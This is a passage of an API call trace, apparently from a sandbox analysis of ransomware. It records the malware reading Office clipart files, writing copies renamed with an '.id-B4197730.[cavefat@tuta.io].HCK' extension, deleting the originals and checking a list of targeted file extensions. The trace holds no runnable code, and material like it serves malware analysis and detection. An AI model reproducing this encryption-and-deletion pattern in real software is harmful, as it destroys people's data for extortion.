lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x8b8e, lpOverlapped=0x0) returned 1 [0243.254] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x8b90, lpOverlapped=0x0) returned 1 [0243.254] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.255] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.255] SetEndOfFile (hFile=0x3bc) returned 1 [0243.255] CloseHandle (hObject=0x3bc) returned 1 [0243.255] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.255] SetEndOfFile (hFile=0x564) returned 1 [0243.257] CloseHandle (hObject=0x564) returned 1 [0243.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0243.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.258] lstrlenW (lpString=".doc") returned 4 [0243.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.258] lstrlenW (lpString=".docx") returned 5 [0243.258] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0243.258] lstrlenW (lpString=".pdf") returned 4 [0243.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.258] lstrlenW (lpString=".xls") returned 4 [0243.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.258] lstrlenW (lpString=".xlsx") returned 5 [0243.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0243.258] lstrlenW (lpString=".ppt") returned 4 [0243.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".zip") returned 4 [0243.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.259] lstrlenW (lpString=".rar") returned 4 [0243.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".bz2") returned 4 [0243.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".7z") returned 3 [0243.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".dbf") returned 4 [0243.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".1cd") returned 4 [0243.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".jpg") returned 4 [0243.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".doc") returned 4 [0243.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".docx") returned 5 [0243.259] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0243.259] lstrlenW (lpString=".pdf") returned 4 [0243.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".xls") returned 4 [0243.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.259] lstrlenW (lpString=".xlsx") returned 5 [0243.259] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0243.259] lstrlenW (lpString=".ppt") returned 4 [0243.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".zip") returned 4 [0243.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.259] lstrlenW (lpString=".rar") returned 4 [0243.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".bz2") returned 4 [0243.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString=".7z") returned 3 [0243.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".dbf") returned 4 [0243.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".1cd") returned 4 [0243.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0243.259] lstrlenW (lpString=".jpg") returned 4 [0243.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.260] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.260] lstrlenW (lpString="J0187895.WMF") returned 12 [0243.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.260] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3472) returned 1 [0243.260] CloseHandle (hObject=0x564) returned 1 [0243.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 0x220 [0243.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.261] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.261] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.262] GetLastError () returned 0x0 [0243.262] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xd90, lpOverlapped=0x0) returned 1 [0243.263] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xda0, lpOverlapped=0x0) returned 1 [0243.264] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.264] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.264] SetEndOfFile (hFile=0x3bc) returned 1 [0243.264] CloseHandle (hObject=0x3bc) returned 1 [0243.264] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.264] SetEndOfFile (hFile=0x564) returned 1 [0243.266] CloseHandle (hObject=0x564) returned 1 [0243.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0243.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.267] lstrlenW (lpString=".doc") returned 4 [0243.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.267] lstrlenW (lpString=".docx") returned 5 [0243.267] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0243.267] lstrlenW (lpString=".pdf") returned 4 [0243.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".xls") returned 4 [0243.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.268] lstrlenW (lpString=".xlsx") returned 5 [0243.268] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0243.268] lstrlenW (lpString=".ppt") returned 4 [0243.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".zip") returned 4 [0243.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.268] lstrlenW (lpString=".rar") returned 4 [0243.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".bz2") returned 4 [0243.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".7z") returned 3 [0243.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".dbf") returned 4 [0243.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".1cd") returned 4 [0243.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".jpg") returned 4 [0243.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".doc") returned 4 [0243.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".docx") returned 5 [0243.268] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0243.268] lstrlenW (lpString=".pdf") returned 4 [0243.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".xls") returned 4 [0243.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.268] lstrlenW (lpString=".xlsx") returned 5 [0243.268] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0243.268] lstrlenW (lpString=".ppt") returned 4 [0243.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".zip") returned 4 [0243.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.268] lstrlenW (lpString=".rar") returned 4 [0243.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".bz2") returned 4 [0243.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString=".7z") returned 3 [0243.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".dbf") returned 4 [0243.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.268] lstrlenW (lpString=".1cd") returned 4 [0243.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0243.269] lstrlenW (lpString=".jpg") returned 4 [0243.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.269] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.269] lstrlenW (lpString="J0187921.WMF") returned 12 [0243.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.270] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5000) returned 1 [0243.270] CloseHandle (hObject=0x564) returned 1 [0243.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 0x220 [0243.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.270] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.271] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.271] GetLastError () returned 0x0 [0243.271] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1388, lpOverlapped=0x0) returned 1 [0243.273] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1390, lpOverlapped=0x0) returned 1 [0243.273] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.273] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.273] SetEndOfFile (hFile=0x3bc) returned 1 [0243.274] CloseHandle (hObject=0x3bc) returned 1 [0243.274] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.274] SetEndOfFile (hFile=0x564) returned 1 [0243.275] CloseHandle (hObject=0x564) returned 1 [0243.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".doc") returned 4 [0243.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".docx") returned 5 [0243.277] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.277] lstrlenW (lpString=".pdf") returned 4 [0243.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".xls") returned 4 [0243.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.277] lstrlenW (lpString=".xlsx") returned 5 [0243.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.277] lstrlenW (lpString=".ppt") returned 4 [0243.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".zip") returned 4 [0243.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.277] lstrlenW (lpString=".rar") returned 4 [0243.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".bz2") returned 4 [0243.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".7z") returned 3 [0243.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".dbf") returned 4 [0243.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".1cd") returned 4 [0243.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".jpg") returned 4 [0243.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".doc") returned 4 [0243.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".docx") returned 5 [0243.277] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.277] lstrlenW (lpString=".pdf") returned 4 [0243.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".xls") returned 4 [0243.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.277] lstrlenW (lpString=".xlsx") returned 5 [0243.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.277] lstrlenW (lpString=".ppt") returned 4 [0243.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.277] lstrlenW (lpString=".zip") returned 4 [0243.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.277] lstrlenW (lpString=".rar") returned 4 [0243.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.277] lstrlenW (lpString=".bz2") returned 4 [0243.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.278] lstrlenW (lpString=".7z") returned 3 [0243.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.278] lstrlenW (lpString=".dbf") returned 4 [0243.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.278] lstrlenW (lpString=".1cd") returned 4 [0243.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0243.278] lstrlenW (lpString=".jpg") returned 4 [0243.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.278] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.278] lstrlenW (lpString="J0188511.WMF") returned 12 [0243.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.279] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10716) returned 1 [0243.279] CloseHandle (hObject=0x564) returned 1 [0243.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 0x220 [0243.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.279] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.279] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.280] GetLastError () returned 0x0 [0243.280] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x29dc, lpOverlapped=0x0) returned 1 [0243.281] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x29e0, lpOverlapped=0x0) returned 1 [0243.282] ReadFile (in: hFile=0x564, lpBuffer=0x3cf4020, 